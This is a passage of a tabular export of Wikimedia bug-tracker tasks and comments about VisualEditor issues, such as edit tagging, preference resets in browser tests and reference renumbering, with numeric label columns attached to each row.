+44172,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Unbreak Now!,100.0,1353021960,1354052322.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_description,resolved,True,c1,0,True,False,True,-33,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+202952,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"Max,
+
+The reason for knowing which edits come from which source is so where the bugs are likely to be (and has the bonus of being possible to do statistical analysis).
+
+Longer-term, as we make editing through the API easier, we'd like to move every user of the API to be labelled as the source (this is the approach taken by Twitter, for example). And of course, for the edit box to go through the API too, though that's more for sanity and security model than for tracking down bugs given how stable that code is.
+
+It's entirely possible that Tags aren't the best venue for this data, but it's what we have for now, and we can move to a better one later.",,,1353704947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,True,,,-32,,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+202947,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"The use-case for adding this functionality/feature is still unclear to me. In theory, there should be no distinction between VisualEditor edits and edits made via the standard (the classic?) textarea editor.",,,1353704521,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+202941,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,https://gerrit.wikimedia.org/r/34686,,,1353551242,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+202937,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"(In reply to comment #1)
+> I guess for the testing phase it won't be too bad, but as Terry points out on
+> wikitech-l, the tagging system hasn't gotten much love since it was
+> implemented, so it may not scale well (fire hose and all...).
+>
+I think we'll be fine for a while. According to https://en.wikipedia.org/wiki/Special:Tags , the most-used tag (references removed) has been used over half a million times. There are five tags used >100k times, and they add up to about 1.8 million. Overall the number of tagged revisions on enwiki is probably about 2 million.
+
+Based on a quick toolserver query, the number of edits by logged-in users in the main namespace in the hour between 18:15 UTC and 19:15 UTC today (Nov 21) was about 4,500. Even if all those edits used VE, it would take 18 days for VE-tagged edits to reach 2 million at that pace. That's kind of fast, but it's slow enough that we'll have time to respond. I made change tagging configurable and turned it on by default. If it causes problems, we can turn it off.",,,1353551175,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-32,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1
+202931,VisualEditor: Edits should add a VisualEditor tag (using MW's revision tagging system) so they can be identified,"(In reply to comment 0)
+> Edits should add a VisualEditor tag (using MediaWiki's revision tagging
+> system) so they can be identified
+
+What's the use-case?
+
+I guess for the testing phase it won't be too bad, but as Terry points out on wikitech-l, the tagging system hasn't gotten much love since it was implemented, so it may not scale well (fire hose and all...).
+
+(Please don't file bugs with empty descriptions [comment 0]. Summaries often change and it makes replies with quoting more difficult.)",,,1353115901,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-bjs5pwsw6c4ji7r65fru,task_subcomment,,True,c1,0,False,,,-33,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+44124,VisualEditor: Meta-fy comments,"Comments should be stored in the meta-linmod, right now they're just ignored, which leads to all comments being removed when we save a page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1352940240,1353384355.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-6whfmphns7qcm6tbt5j3,task_description,resolved,True,c1,0,False,False,True,-33,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+199688,VisualEditor: Meta-fy comments,"Ahm, I meant https://gerrit.wikimedia.org/r/34257 of course :S",,,1353384366,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6whfmphns7qcm6tbt5j3,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+199682,VisualEditor: Meta-fy comments,https://gerrit.wikimedia.org/r/3425,,,1353384355,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6whfmphns7qcm6tbt5j3,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44118,VisualEditor: Add handling for mw:Entity,"Currently these are being alienated, which is bad.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1352938560,1353528384.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-d53w6sbodbcpx4rkzth3,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0
+199410,VisualEditor: Add handling for mw:Entity,Fixed with https://gerrit.wikimedia.org/r/#/c/34444/ and https://gerrit.wikimedia.org/r/#/c/34575/,,,1353528384,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-d53w6sbodbcpx4rkzth3,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56813,Delete VisualEditor/core repo,"http://git.wikimedia.org/summary/?r=VisualEditor/core.git
+
+Seems unneeded.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: minor",Needs Triage,90.0,1380590700,1380591667.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ar7o222adkj6yo6s5o5w,task_description,declined,True,c1,3,False,False,False,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+270790,Delete VisualEditor/core repo,"We're about to fill it with content. So… no, please don't.",,,1380591667,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ar7o222adkj6yo6s5o5w,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+56785,When editing using VisualEditor I see the '♙' character at every newline,"Hi
+Just like the title, if I edit the body of the text, at every newline it enters an ♙ character, and I have to manually delete every time (by writig, going back and deleting).
+
+Also there are many other special characters displayed, like arrows for tab and return. Don't know if it's the same issue.
+
+The wiki is hosted on a CentOS 6.4 box, running latest versions of apache and PHP, under a virtualhost. The client is an OSX 10.9 computer.
+
+Please tell me if you need any additional information.
+
+Thank you.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**Platform**: Macintosh",Needs Triage,90.0,1380546240,1380559441.0,PHID-USER-vj2bbc63joi46qr5a5nq,False,,False,PHID-TASK-qdobmgita3aclomioanb,task_description,resolved,True,c1,3,False,False,True,13,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+269341,When editing using VisualEditor I see the '♙' character at every newline,"Hi there,
+
+This is a break we introduced on Friday, sorry - a fix is now in gerrit 86685 and will be merged in the next few minutes. Up-merging this with bug 54791 reported by our QA team. Thanks for the bug report!
+
+(In reply to comment #0)
+> Also there are many other special characters displayed, like arrows for tab
+> and return. Don't know if it's the same issue.
+
+That's not - this is intentional as a means to differentiate different kinds of whitespace (which show up differently to the user in wikitext, but would otherwise look the same in HTML).
+
+*** This bug has been marked as a duplicate of bug 54791 ***",,,1380559441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qdobmgita3aclomioanb,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+56777,Images are slow to update in the search index,"Inserting media with VE
+
+Sometimes I cant add image, because it doesnt display. This time at https://cs.wikipedia.org/wiki/Seznam_památných_stromů_v_okrese_Rokycany
+
+adding File:Kařízský dub, pohled.jpg with FF 23.0.1
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**Whiteboard**: cirrus-fixed
+
+**Attached**: {F12341}",Needs Triage,90.0,1380515400,1382572188.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_description,resolved,True,c1,3,False,False,False,13,,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+268759,Images are slow to update in the search index,"
+
+*** This bug has been marked as a duplicate of bug 52782 ***",,,1382572188,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,False,,,16,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+268756,Images are slow to update in the search index,"(In reply to comment #2)
+> Doesnt work still to me. Thats why I am opening it again. Once you will
+> update search, lets talk about clossing.
+
+This has nothing to do with VisualEditor; re-assigning.",,,1382370812,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+268751,Images are slow to update in the search index,"Doesnt work still to me. Thats why I am opening it again. Once you will update search, lets talk about clossing.",,,1382173897,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+268746,Images are slow to update in the search index,This is because the old search system is slow to update (it now works for me). Happily the new search system (which is coming hopefully soon). Sorry. :-(,,,1380834938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z5y5vu36oczd2xqoi5r7,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+56756,Dragging elements to the end of the page should make a new empty line appear,"When you want to drag an element to the very bottom of the content editable area, the last position available for the cursor is the end of the last sentence. 
+
+Usually you want to place elements not at the end of a line, but right after, in a new line. The behavior expected would be to see a new empty line appearing when you drag an element until the end of a page, and the possibility to drop your element in that empty line.
+
+Tested with the {{Languages}} template at https://www.mediawiki.org/wiki/Groups 
+
+The last cursor position possible is at the end of the sentence: ""... to create your MediaWiki group."" Dropping the template after the last dot puts it at the end of the page, in a new line. The end result is correct, but the behavior is unituitive.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51666",Needs Triage,90.0,1380427800,1381246558.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-hy35new7rxofajvvqivl,task_description,resolved,True,c1,3,False,False,False,12,,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+267712,Dragging elements to the end of the page should make a new empty line appear,"(In reply to comment #0)
+> When you want to drag an element to the very bottom of the content editable
+> area, the last position available for the cursor is the end of the last
+> sentence. 
+> 
+> Usually you want to place elements not at the end of a line, but right after,
+> in a new line. The behavior expected would be to see a new empty line
+> appearing when you drag an element until the end of a page, and the
+> possibility to drop your element in that empty line.
+
+Merging this with bug 51666 which I've re-titled.
+
+(In reply to comment #2)
+> (In reply to comment #1)
+> > Note also that for me, on
+> > [https://www.mediawiki.org/wiki/Communication?veaction=edit], the ""other
+> > languages"" template at the top is not even visible in VE mode... This is
+> > probably a separate bug though.
+> 
+> Possibly it is or is related to bug 50284
+
+No, this is because of the code inside the ""other languages"" template making assumptions which are true for read mode but not for VisualEditor - I think this is an artefact of bug 50172 and a few other issues.
+
+*** This bug has been marked as a duplicate of bug 51666 ***",,,1381246558,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hy35new7rxofajvvqivl,task_subcomment,,True,c1,3,True,,,14,,1,0,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+267706,Dragging elements to the end of the page should make a new empty line appear,"(In reply to comment #1)
+> Note also that for me, on
+> [https://www.mediawiki.org/wiki/Communication?veaction=edit], the ""other
+> languages"" template at the top is not even visible in VE mode... This is
+> probably a separate bug though.
+
+Possibly it is or is related to bug 50284",,,1381227927,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-hy35new7rxofajvvqivl,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+267701,Dragging elements to the end of the page should make a new empty line appear,"**Wikifram** wrote:
+
+Only now noticed this. For me, dropping the template after the last dot was not even possible. I could drop it before the last dot, but not after, so for me it was not simply unintuitive, it was wrong. But now, this has been solved apparently, whether by a new VE version or by a Firefox update I don't know. 
+
+Note also that for me, on [https://www.mediawiki.org/wiki/Communication?veaction=edit], the ""other languages"" template at the top is not even visible in VE mode... This is probably a separate bug though.",,,1381225378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hy35new7rxofajvvqivl,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+56671,VisualEditor opt-in preference disappears,"As user Selenium_user on beta labs enwiki, I have set my preference to opt-in to VisualEditor several times, but the preference then gets reset to default (opt-in not set) after a period of some hours.  
+
+This causes failures in the browser tests and I wonder if it is a risk in the production environment.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1380234840,1380642094.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-owimzdmbcsatfp52eoa7,task_description,resolved,True,c1,3,False,False,False,12,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+262734,VisualEditor opt-in preference disappears,"
+The fix is to not do a global reset of preferences for the shared test user. :-) 
+
+We will have the ULS tests create a user of their own.",,,1380642094,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+262729,VisualEditor opt-in preference disappears,"Great!    Now got to find a fix, ideally the VE feature should set the optin preference.  I am not sure whether you have support for that already.
+
+And sorry for the delay investigating this issue :/",,,1380588185,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+262723,VisualEditor opt-in preference disappears,"
+ULS tests are doing it: 
+
+
+tests/browser/features/support/pages/reset_preferences.rb 
+Last indexed a month ago
+1
+2
+3
+4
+class ResetPreferencesPage
+	include PageObject
+	include URL
+	page_url URL.url('Special:Preferences/reset')
+Ruby
+tests/browser/features/step_definitions/common_steps.rb 
+Last indexed 4 days ago
+59
+60
+61
+After('@reset-preferences-after') do |scenario|
+	visit(ResetPreferencesPage)
+	on(ResetPreferencesPage).submit_element.click",,,1380586091,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,0,0
+262715,VisualEditor opt-in preference disappears,"
+this really should not be happening for any test: 
+
+0.2789   6.0M  Start request POST /wiki/Special:Preferences/reset
+
+thanks for pointing that out.",,,1380585639,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+262707,VisualEditor opt-in preference disappears,"What led me to suspect it is:
+
+0.2789   6.0M  Start request POST /wiki/Special:Preferences/reset
+HOST: commons.wikimedia.beta.wmflabs.org
+HTTP HEADERS:
+X-REAL-IP: ....  # Some IP address at saucelabs
+X-FORWARDED-PROTO: https
+...
+REFERER: https://commons.wikimedia.beta.wmflabs.org/wiki/Special:Preferences/reset
+COOKIE: ...centralauth_User=Selenium+user .... commonswikiUserName=Selenium+user...
+
+
+See also ""Update how VisualEditor's experimental config works""  https://gerrit.wikimedia.org/r/#/c/84433/  which got deployed on beta on Sep 18th.
+
+
+hashar@deployment-bastion:~$ mwscript eval.php --wiki=enwiki
+> return $wgDefaultUserOptions['visualeditor-enable'] ;
+0
+>
+$
+
+
+So you could add an exception in CommonSettings-labs.php or InitialiseSettings-labs.php to override that value for beta and make sure VE is always opted in.",,,1380585248,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+262698,VisualEditor opt-in preference disappears,"I am wondering, isn't it that the default is to disable the opt-in preference on enwiki now?   Thus if the Selenium test rest the user preference, it would end up opting out of VE :(
+
+Can you try in your test to explicitly set the user preference?",,,1380584760,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+262692,VisualEditor opt-in preference disappears,VisualEditor opt-in preference unset again overnight PDT Sept 27.,,,1380557168,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+262686,VisualEditor opt-in preference disappears,"
+I have just enabled VE manually in beta labs for Selenium_user. I suspect it will become disabled soon. 
+
+Is it possible that the automatic run of update.php (or whatever updates the db) would un-set that preference?",,,1380292740,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+262679,VisualEditor opt-in preference disappears,"The Selenium_user on enwiki has the following preferences right now:
+
+[""visualeditor-enable""]=> int(0)
+[""visualeditor-enable-experimental""]=>  int(1)
+[""visualeditor-betatempdisable""]=> int(0)
+
+So VE is actually disabled.
+
+Maybe some test is disabling the option while other set it?   Tests relying on VE should probably set the user preference through the API before the test run.",,,1380262166,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-owimzdmbcsatfp52eoa7,task_subcomment,,True,c1,3,True,,,12,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+56654,VisualEditor: (silently) renumbering references,"Sherry describes what happens in this edit, https://en.wikipedia.org/w/index.php?title=Homesickness&diff=573215056&oldid=573214608 :
+<<[this edit] is the original problem. It gave all of those references the same ""name"" (""ref name="":4""""), which convinced the software using for viewing pages that they were all the same ref.>>
+
+The original reporter, Christopher Thurber, describes the issue, and provides some hints to reproduce:
